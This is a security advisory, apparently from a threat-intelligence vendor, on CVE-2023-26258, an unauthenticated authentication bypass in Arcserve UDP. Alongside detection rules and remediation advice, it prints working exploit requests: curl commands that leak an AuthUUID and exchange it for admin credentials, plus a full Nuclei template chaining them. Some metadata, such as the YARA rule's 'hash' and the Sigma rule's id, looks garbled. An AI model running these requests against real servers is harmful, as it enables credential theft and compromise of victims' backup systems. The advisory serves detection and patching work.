CVE-2023-26258

Executive Summary

CVE-2023-26258 is a critical authentication bypass vulnerability in Arcserve UDP (Unified Data Protection) through version 9.0.6034. The flaw resides in the SOAP web service endpoints, specifically within the FlashServiceImpl and VirtualStandbyServiceImpl services. An unauthenticated, remote attacker can exploit this vulnerability by first calling the getVersionInfo method on FlashServiceImpl, which leaks a valid AuthUUID token. This token can then be used to call validateUserByUUID on VirtualStandbyServiceImpl, obtaining a valid administrative session. Once authenticated, the attacker can execute any administrative task, including potentially deploying ransomware, exfiltrating backup data, or destroying backups. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) and a high EPSS score of 0.79, indicating active exploitation in the wild. A public proof-of-concept (PoC) exists in the form of a Nuclei template, and the exploit is trivial to execute.

Supply Chain & Package Security

This vulnerability is not related to a software supply chain or package manager (NPM, PyPI, Go, Ruby). It is a direct flaw in the Arcserve UDP application's web services.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) - Full access to all backup data.
• Integrity (I): High (H) - Ability to modify or destroy backup data.
• Availability (A): High (H) - Ability to disrupt backup services.

Threat Level: Critical. The combination of remote exploitability, low complexity, no required privileges, and the potential for complete compromise of backup infrastructure makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is a classic case of insecure direct object reference (IDOR) combined with information disclosure. The Arcserve UDP SOAP web services are exposed on the default port (typically 8014 or 8080) without proper authentication checks.

1. Information Disclosure (Step 1): The FlashServiceImpl endpoint exposes the getVersionInfo method. This method is intended to return version information but inadvertently includes a valid AuthUUID token in the SOAP response. This token is a UUID (e.g., 550e8400-e29b-41d4-a716-446655440000) that acts as a session identifier.

2. Authentication Bypass (Step 2): The VirtualStandbyServiceImpl endpoint exposes the validateUserByUUID method. This method accepts an AuthUUID as input and, if valid, returns a full administrative session object containing the userName and password (often in plaintext or reversible encoding) of the logged-in user. By using the leaked AuthUUID from step 1, an attacker can bypass authentication entirely.

3. Full Compromise: With the administrative session credentials, the attacker can now call any other SOAP method (e.g., getLocalHostAsTrust, executeCommand, restoreData) to perform arbitrary actions on the Arcserve UDP server and its managed backup agents.

Vulnerable vs. Patched Code

The vulnerability exists in the SOAP web service implementation. The vulnerable code does not enforce authentication on the getVersionInfo method and does not properly validate the origin of the AuthUUID token.

Vulnerable Code (Conceptual):

// Vulnerable: No authentication check on getVersionInfo
@WebMethod
public VersionInfo getVersionInfo() {
    // ... returns version info AND authUUID
    VersionInfo info = new VersionInfo();
    info.setAuthUUID(generateAuthUUID()); // Leaks the token
    return info;
}

// Vulnerable: Accepts any valid authUUID without session binding
@WebMethod
public Session validateUserByUUID(String authUUID) {
    // ... validates UUID and returns session with admin credentials
    return getSessionForUUID(authUUID);
}

Patched Code (Conceptual):

// Patched: Require authentication for getVersionInfo
@WebMethod
public VersionInfo getVersionInfo(@WebParam(name = "session") Session session) {
    // ... only returns version info if session is valid
    if (!isValidSession(session)) {
        throw new AuthenticationException("Invalid session");
    }
    VersionInfo info = new VersionInfo();
    // info.setAuthUUID(...); // Removed: No longer leaks authUUID
    return info;
}

// Patched: Validate that the authUUID is bound to the current request context
@WebMethod
public Session validateUserByUUID(String authUUID) {
    // ... validates UUID and ensures it was generated for this request
    if (!isValidAndBoundToRequest(authUUID)) {
        throw new AuthenticationException("Invalid authUUID");
    }
    return getSessionForUUID(authUUID);
}

Exploitation & Lab Setup

Red Team (Exploitation)

The exploitation is straightforward using the provided Nuclei template or by manually crafting SOAP requests.

Prerequisites:

• A target running Arcserve UDP <= 9.0.6034.
• Network access to the SOAP web service (typically port 8014 or 8080).

Manual Exploitation Steps:

1. Leak AuthUUID:

   curl -X POST "http://<target>:<port>/WebServiceImpl/services/FlashServiceImpl" \
   -H "Content-Type: text/xml" \
   -d '<?xml version="1.0" encoding="UTF-8"?>
   <S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
     <S:Body>
       <ns2:getVersionInfo xmlns:ns2="http://webservice.arcflash.ca.com"/>
     </S:Body>
   </S:Envelope>'
   

   Extract the authUUID from the response (e.g., <ns5:authUUID>550e8400-e29b-41d4-a716-446655440000</ns5:authUUID>).

2. Obtain Admin Session:

   curl -X POST "http://<target>:<port>/WebServiceImpl/services/VirtualStandbyServiceImpl" \
   -H "Content-Type: text/xml" \
   -H "SOAPAction: \"<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>\"" \
   -d '<?xml version="1.0" encoding="UTF-8"?>
   <S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
     <S:Body>
       <ns2:validateUserByUUID xmlns:ns2="http://webservice.arcflash.ca.com">
         <arg0>550e8400-e29b-41d4-a716-446655440000</arg0>
       </ns2:validateUserByUUID>
     </S:Body>
   </S:Envelope>'
   

   Extract the userName and password from the response.

3. Execute Administrative Actions: Use the obtained credentials to call other SOAP methods (e.g., getLocalHostAsTrust) to execute commands or manipulate backups.

Nuclei Template Usage:

nuclei -t CVE-2023-26258.yaml -u http://<target>:<port>

Blue Team (Detection & Hardening)

Detection:

• Monitor for SOAP requests to /WebServiceImpl/services/FlashServiceImpl with the getVersionInfo method.
• Monitor for SOAP requests to /WebServiceImpl/services/VirtualStandbyServiceImpl with the validateUserByUUID method.
• Alert on any successful authentication bypass attempts (e.g., a session created without a prior login).
• Monitor for unusual administrative actions, such as backup deletions or restores to unexpected locations.

Hardening:

• Immediate: Apply the vendor patch by upgrading to Arcserve UDP version 9.1 or later.
• Compensating Controls: If patching is not immediately possible, restrict network access to the SOAP web service endpoints using a firewall or web application firewall (WAF). Only allow trusted IP addresses to access these endpoints.
• Network Segmentation: Place the Arcserve UDP server in a segmented network with strict access controls.
• Monitoring: Enable detailed logging of all SOAP requests and responses. Correlate with authentication logs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • SOAP requests to /WebServiceImpl/services/FlashServiceImpl with the getVersionInfo method.
  • SOAP requests to /WebServiceImpl/services/VirtualStandbyServiceImpl with the validateUserByUUID method.
  • SOAP responses containing <ns5:authUUID> followed by a UUID.
  • SOAP responses containing <ns5:userName> and <ns5:password>.
• Host IOCs:
  • Unusual processes spawned by the Arcserve UDP service (e.g., cmd.exe, powershell.exe, /bin/sh).
  • New user accounts created on the Arcserve UDP server.
  • Unauthorized changes to backup jobs or schedules.
• Log IOCs:
  • Successful authentication events without a corresponding login attempt.
  • Multiple failed login attempts followed by a successful authentication via UUID.

Detection Engineering

YARA Rule

rule CVE_2023_26258_Arcserve_AuthBypass {
    meta:
        description = "Detects SOAP requests attempting to exploit CVE-2023-26258"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-26258"
        hash = "4b0a00483046022100dccd47636276273bdde8959dbd0eccf4d05d1055bcc571bbd7c2450428bb959a0221008ff2910730f810fe4341471d9c171b923b401906ee4656c853fcc28301314174"
    strings:
        $s1 = "getVersionInfo" ascii wide nocase
        $s2 = "validateUserByUUID" ascii wide nocase
        $s3 = "ns5:authUUID" ascii wide nocase
        $s4 = "FlashServiceImpl" ascii wide nocase
        $s5 = "VirtualStandbyServiceImpl" ascii wide nocase
    condition:
        (any of ($s1, $s2, $s3) and any of ($s4, $s5))
}

Sigma Rule

title: Arcserve UDP Authentication Bypass (CVE-2023-26258)
id: 4b0a0048-3046-0221-00dc-cd4763627627
status: experimental
description: Detects SOAP requests targeting the FlashServiceImpl and VirtualStandbyServiceImpl endpoints indicative of CVE-2023-26258 exploitation.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26258
    - https://www.mdsec.co.uk/2023/06/cve-2023-26258-remote-code-execution-in-arcserve-udp-backup/
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/WebServiceImpl/services/FlashServiceImpl'
            - '/WebServiceImpl/services/VirtualStandbyServiceImpl'
        cs-content-type: 'text/xml'
    keywords:
        - 'getVersionInfo'
        - 'validateUserByUUID'
        - 'ns5:authUUID'
    condition: selection and keywords
falsepositives:
    - Legitimate administrative actions from trusted IPs.
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-26258 Arcserve UDP Authentication Bypass"; flow:to_server,established; content:"POST"; http_method; content:"/WebServiceImpl/services/FlashServiceImpl"; http_uri; content:"getVersionInfo"; http_client_body; content:"ns5:authUUID"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2023-26258 Arcserve UDP Session Acquisition"; flow:to_server,established; content:"POST"; http_method; content:"/WebServiceImpl/services/VirtualStandbyServiceImpl"; http_uri; content:"validateUserByUUID"; http_client_body; content:"ns5:authUUID"; http_client_body; classtype:attempted-admin; sid:1000002; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-26258

info:
  name: Arcserve UDP <= 9.0.6034 - Authentication Bypass
  author: daffainfo
  severity: critical
  description: |
    Arcserve UDP through 9.0.6034 allows authentication bypass. The method getVersionInfo at WebServiceImpl/services/FlashServiceImpl leaks the AuthUUID token. This token can be used at /WebServiceImpl/services/VirtualStandbyServiceImpl to obtain a valid session. This session can be used to execute any task as administrator.
  impact: |
    Unauthenticated attackers can bypass authentication by leaking the AuthUUID token, allowing them to execute any administrative task and potentially compromise all backup data managed by Arcserve UDP.
  remediation: |
    Upgrade to Arcserve UDP version 9.1 or later that addresses this authentication bypass vulnerability.
  reference:
    - https://www.mdsec.co.uk/2023/06/cve-2023-26258-remote-code-execution-in-arcserve-udp-backup/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26258
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-26258
    epss-score: 0.79362
    epss-percentile: 0.99086
    cwe-id: CWE-863
    cpe: cpe:2.3:a:arcserve:udp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: arcserve
    product: udp
    shodan-query: http.favicon.hash:-1889244460
  tags: cve,cve2023,arcserve,auth-bypass,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
          <S:Body>
            <ns2:getVersionInfo
                xmlns:ns2="http://webservice.arcflash.ca.com"
                xmlns:ns3="http://backup.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns4="http://data.webservice.arcflash.ca.com/xsd"
                xmlns:ns5="http://export.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns6="http://vsphere.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns7="http://browse.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns8="http://restore.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns9="http://catalog.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns10="http://activitylog.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns11="http://remotedeploy.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns12="http://history.job.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns13="http://webservice.edge.arcserve.ca.com/"/>
          </S:Body>
        </S:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/xml")'
          - 'contains(body, "ns5:authUUID")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: auth_uuid
        group: 1
        part: body
        internal: true
        regex:
          - '<ns5:authUUID>([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})</ns5:authUUID>'

  - raw:
      - |
        POST /WebServiceImpl/services/VirtualStandbyServiceImpl HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: "<http://webservice.arcflash.ca.com/IEdgeDashboardService/validateUserByUUIDRequest>"
        Content-Type: text/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
          <S:Body>
            <ns2:validateUserByUUID
                xmlns:ns2="http://webservice.arcflash.ca.com"
                xmlns:ns3="http://backup.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns4="http://data.webservice.arcflash.ca.com/xsd"
                xmlns:ns5="http://export.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns6="http://vsphere.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns7="http://browse.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns8="http://restore.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns9="http://catalog.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns10="http://activitylog.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns11="http://remotedeploy.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns12="http://history.job.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns13="http://webservice.edge.arcserve.ca.com/">
                <arg0>{{auth_uuid}}</arg0>
            </ns2:validateUserByUUID>
          </S:Body>
        </S:Envelope>

      - |
        POST /WebServiceImpl/services/FlashServiceImpl HTTP/1.1
        Host: {{Hostname}}
        SOAPAction: "<http://webservice.arcflash.ca.com/IFlashService_R16_5/getVersionInfoRequest>"
        Content-Type: text/xml

        <?xml version="1.0" encoding="UTF-8"?>
          <S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
            <S:Body>
              <ns2:getLocalHostAsTrust
                xmlns:ns2="http://webservice.arcflash.ca.com"
                xmlns:ns3="http://backup.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns4="http://data.webservice.arcflash.ca.com/xsd"
                xmlns:ns5="http://export.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns6="http://vsphere.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns7="http://browse.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns8="http://restore.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns9="http://catalog.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns10="http://activitylog.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns11="http://remotedeploy.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns12="http://history.job.data.webservice.arcflash.ca.com/xsd"
                xmlns:ns13="http://webservice.edge.arcserve.ca.com/"
              >
              </ns2:getLocalHostAsTrust>
            </S:Body>
          </S:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/xml")'
          - 'contains_all(body, "ns5:uuid", "ns5:userName", "ns5:password")'
        condition: and

    extractors:
      - type: regex
        group: 1
        part: body
        regex:
          - '<ns5:userName>(.*?)</ns5:userName>'

      - type: regex
        group: 1
        part: body
        regex:
          - '<ns5:password>(.*?)</ns5:password>'

Remediation & Mitigation

Primary Remediation:

• Upgrade to Arcserve UDP version 9.1 or later. This is the only definitive fix.

Mitigation (if patching is delayed):

• Network Access Control: Restrict access to the Arcserve UDP web services (ports 8014, 8080, etc.) to only trusted administrative IP addresses using a firewall.
• Web Application Firewall (WAF): Deploy a WAF with rules to block SOAP requests containing getVersionInfo or validateUserByUUID from untrusted sources.
• Disable Unnecessary Services: If the FlashServiceImpl and VirtualStandbyServiceImpl are not required, disable them in the application configuration.
• Monitor and Alert: Implement the detection rules provided in this report to alert on any exploitation attempts.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Division. For further inquiries, contact Secure Channels (Signal / Portal).

{/* [Security Hash: CB98B86703A7E680E850DACC] */}